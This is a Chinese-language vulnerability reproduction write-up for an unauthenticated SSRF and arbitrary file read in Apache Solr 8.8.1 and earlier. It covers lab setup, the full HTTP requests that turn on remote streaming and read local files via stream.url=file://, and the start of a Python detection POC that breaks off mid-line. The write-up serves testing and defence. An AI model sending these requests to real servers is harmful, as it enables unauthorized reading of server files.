概述
目录
一. 漏洞描述
二. 影响版本
三. 漏洞复现
1. 复现条件
2. windows下搭建漏洞环境
3. 漏洞测试
四. 漏洞检测POC
五. 漏洞修复
一. 漏洞描述
Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。
该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
二. 影响版本
- Apache Solr <=8.8.1 (latest) ,通杀所有版本,官方拒绝修复
三. 漏洞复现
1. 复现条件
- Apache Solr <= 8.8.1
- 存在至少一个core(至少存在一个core的原因:url中的core_name是Solr中的已经创建的core的名字,我们刚下载来的Solr默认是没有core的,因此需要创建)
2. windows下搭建漏洞环境
搭建solr8.8.1版本
首先从Apache Solr官网下载最新的Solr 8.8.1:https://solr.apache.org/downloads.html
解压完成后,进入bin目录,执行
solr start -p 8983
访问ip:8983端口
或者用docker搭建,docker-compose.yml文件如下。但是经过测试使用docker搭建的环境进行漏洞复现存在问题,所以这里不能用docker进行环境搭建。
version: '2'
services:
solr:
command: solr-demo
image: solr:8.8.1
ports:
- "8983:8983"
3. 漏洞测试
1. 创建core
因为刚下载的环境是没有core的,所以需要先创建一个core进行复现。点击左侧的Core Admin来创建一个Core,可以发现报错
此时Solr已经在server/solr目录下已经创建了名字为new_core的文件夹,我们只需要把server/solr/configsets_default文件夹下的conf目录整个拷贝到new_core文件夹下,即可
复制过去后,再点击刚才那个Add Core发现可以创建成功了,如下
2. 获取core名字
通过http://127.0.0.1:8984/solr/admin/cores?indexInfo=false&wt=json ,可以看到新建的core的名字为new_core
3. 发送请求
这一步可以测试是否存在漏洞,响应码为200,说明远程读取流文件配置开启成功
使用burp发送以下请求包,ip要对应:
GET /solr/获取的core名/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 82
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
结果:
4. 进行文件读取
可以跳过步骤3直接执行这一步进行文件读取
GET /solr/获取的core名字/debug/dump?param=ContentStreams HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 29
stream.url=file://想要读取的文件名称
如读取本机的hosts的文件
四. 漏洞检测POC
#author:xcc
import requests
import argparse
from colorama import init
import os
import json
from requests.packages import urllib3
urllib3.disable_warnings()
init(autoreset=True)
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
def url():
des="